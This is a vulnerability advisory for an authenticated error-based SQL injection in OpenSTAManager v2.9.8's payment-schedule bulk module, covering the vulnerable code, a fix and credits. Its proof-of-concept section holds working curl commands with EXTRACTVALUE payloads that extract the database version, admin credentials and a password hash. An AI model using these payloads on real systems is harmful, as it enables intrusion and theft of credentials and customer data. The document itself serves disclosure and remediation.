PT-2026-6851 · Packagist · Devcode-It/Openstamanager

Published

2026-02-06

·

Updated

2026-02-06

CVSS v4.0

8.7

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Critical Error-Based SQL Injection vulnerability in the Scadenzario (Payment Schedule) bulk operations module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages.
Status: ✅ Confirmed and tested on live instance (v2.9.8) Vulnerable Parameter: id records[] (POST array) Affected Endpoint: /actions.php?id module=18 (Scadenzario module) Attack Type: Error-Based SQL Injection (IN clause)

Details

OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the bulk operations handler for the Scadenzario (Payment Schedule) module. The application fails to validate that elements of the id records array are integers before using them in an SQL IN() clause, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
  1. Entry Point: /actions.php (Lines 503-506)
$id records = post('id records');
$id records = is array($id records) ? $id records : explode(';', $id records);
$id records = array clean($id records);
$id records = array unique($id records);
The array clean() function only removes empty values - it does NOT validate types.
  1. Vulnerable Function: /lib/util.php (Lines 54-60)
function array clean($array)
{
  if (!empty($array)) {
    return array unique(array values(array filter($array, fn ($value) => !empty($value))));
  }
}
Impact: The function filters out empty values but accepts any non-empty value, including SQL Injection payloads.
  1. SQL Injection Point: /modules/scadenzario/bulk.php (Line 88) PRIMARY VULNERABILITY
$scadenze = $database->FetchArray('SELECT * FROM co scadenziario LEFT JOIN (SELECT id as id nota, ref documento FROM co documenti)as nota ON co scadenziario.iddocumento = nota.ref documento WHERE co scadenziario.id IN ('.implode(',', $id records).') AND pagato < da pagare AND nota.id nota IS NULL ORDER BY idanagrafica, iddocumento');
Impact: Array elements from $id records are directly concatenated using implode() without type validation or prepare(), enabling full SQL Injection.
Root Cause Analysis:
The vulnerability exists because:
  1. post('id records') returns user-controlled array
  2. array clean() only removes empty values, not non-integer values
  3. implode(',', $id records) concatenates array elements directly into SQL
  4. No validation ensures array elements are integers
  5. Attacker can inject SQL by providing: id records[]=1&id records[]=(MALICIOUS SQL)#
Affected Code Path:
POST /actions.php?id module=18
 ↓
actions.php:503 - $id records = post('id records')
 ↓
actions.php:505 - $id records = array clean($id records) [NO TYPE VALIDATION]
 ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
 ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id records).') [INJECTION POINT]

PoC

Step 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' 
 -d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Error-Based SQL Injection)
Test 1: Extract Database User and Version
curl -b cookies.txt 
 -d "op=send reminder&id records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" 
 "http://localhost:8081/actions.php?id module=18"
Response (error message visible to attacker):
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>
Test 2: Extract Admin Credentials
curl -b cookies.txt 
 -d "op=send reminder&id records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz users LIMIT 1)))%23" 
 "http://localhost:8081/actions.php?id module=18"
Response:
<code>XPATH syntax error: '~admin:admin@osm.local'</code>
Test 3: Extract Password Hash (Part 1 - first 31 chars)
curl -b cookies.txt 
 -d "op=send reminder&id records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz users LIMIT 1)))%23" 
 "http://localhost:8081/actions.php?id module=18"
Response:
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>
Test 4: Extract Password Hash (Part 2 - chars 32-60)
curl -b cookies.txt 
 -d "op=send reminder&id records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz users LIMIT 1)))%23" 
 "http://localhost:8081/actions.php?id module=18"
Response:
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>
Combined Password Hash:
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

Impact

**All authenticated users with access to the Scadenzario (Payment Schedule) module bulk operations.
Recommended Fix:
Primary Fix - Type Validation:
File: /modules/scadenzario/bulk.php
BEFORE (Vulnerable - Line 88):
$scadenze = $database->FetchArray('SELECT * FROM co scadenziario LEFT JOIN (SELECT id as id nota, ref documento FROM co documenti)as nota ON co scadenziario.iddocumento = nota.ref documento WHERE co scadenziario.id IN ('.implode(',', $id records).') AND pagato < da pagare AND nota.id nota IS NULL ORDER BY idanagrafica, iddocumento');
AFTER (Fixed):
// Validate that all array elements are integers
$id records = array map('intval', $id records);
$id records = array filter($id records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co scadenziario LEFT JOIN (SELECT id as id nota, ref documento FROM co documenti)as nota ON co scadenziario.iddocumento = nota.ref documento WHERE co scadenziario.id IN ('.implode(',', $id records).') AND pagato < da pagare AND nota.id nota IS NULL ORDER BY idanagrafica, iddocumento');

Credits

Discovered by Łukasz Rybak

Fix

SQL injection

Weakness Enumeration

Related Identifiers

GHSA-4XWV-49C8-FVHQ

Affected Products

Devcode-It/Openstamanager